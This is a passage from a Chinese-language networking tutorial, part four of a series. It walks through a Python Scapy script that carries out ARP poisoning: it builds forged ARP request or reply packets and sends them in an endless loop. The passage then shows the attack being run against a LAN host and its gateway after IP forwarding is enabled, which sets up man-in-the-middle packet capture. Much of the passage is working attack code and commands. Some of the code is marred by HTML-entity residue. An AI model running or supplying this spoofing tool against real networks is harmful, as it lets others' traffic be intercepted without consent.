使用arp欺骗,可以跨冲突域抓包吗( 四 )

代码略微有一点多,不过核心内容没有离开我们上面讲到的内容,现在做个分解。
usage = \u0026#39;Usage: %prog host\u0026#39; parser = OptionParser(usage) parser.add_option(\u0026#39;-i\u0026#39;, dest=\u0026#39;interface\u0026#39;, help=\u0026#39;Specify the interface to use\u0026#39;) parser.add_option(\u0026#39;-t\u0026#39;, dest=\u0026#39;target\u0026#39;, help=\u0026#39;Specify a particular host to ARP poison\u0026#39;) parser.add_option(\u0026#39;-m\u0026#39;, dest=\u0026#39;mode\u0026#39;, default=\u0026#39;req\u0026#39;, help=\u0026#39;Poisoning mode: requests (req) or replies (rep) \u0026#39;) parser.add_option(\u0026#39;-s\u0026#39;, action=\u0026#39;store_true\u0026#39;, dest=\u0026#39;summary\u0026#39;, default=False, help=\u0026#39;Show packet summary and ask for confirmation before poisoning\u0026#39;) (options, args) = parser.parse_args() if len(args) != 1 or options.interface is None: parser.print_help() sys.exit(0)首先,我们引入了optparse模块,用来格式化用户输入的参数,如果用户输入参数不正确,会打印使用说明。
使用arp欺骗,可以跨冲突域抓包吗

图10
下面调用了get_if_hwaddr方法,根据参数中传入的网卡,获取本机MAC地址,该MAC地址在构建以太网和ARP数据包的时候做为攻击机的MAC地址被使用。
接下来是build_req方法,和build_rep方法,分别用来构建ARP请求和响应包。两个方法会检查是否指定了目标地址,如果没有就是广播欺骗,如果有就是定下欺骗。两个方法里面使用了getmacbyip方法来根据ip地址获取目标主机的MAC地址。构建数据包的原理我们上面讲的很清楚了,这里就不重复了。
再往下是根据输入的参数,判断应该构建的数据包类型,调用对应的方法。
if options.mode == \u0026#39;req\u0026#39;: pkt = build_req() elif options.mode == \u0026#39;rep\u0026#39;: pkt = build_rep() if options.summary is True: pkt.show() ans = raw_input(\u0026#39;\ Continue? : \u0026#39;).lower() if ans == \u0026#39;y\u0026#39; or len(ans) == 0: pass else: sys.exit(0)最后是发送数据包和程序的入口。
while True: sendp(pkt, inter=2, iface=options.interface)if __name__ == \u0026#39;__main__\u0026#39;: main()程序准备妥当,我们保存源码,下面开始测试。
3.1.6 测试在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,否则会失败的。执行如下命令:
sysctl net.ipv4.ip_forward=1
使用arp欺骗,可以跨冲突域抓包吗

图11
下面我们打开终端,对192.168.1.18进行欺骗,告诉它网关为192.168.1.102所在的主机。
使用arp欺骗,可以跨冲突域抓包吗

图12
在打开一个终端,对网关进行欺骗,告诉网关,192.168.1.18对应的主机为192.168.1.102.
python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18


推荐阅读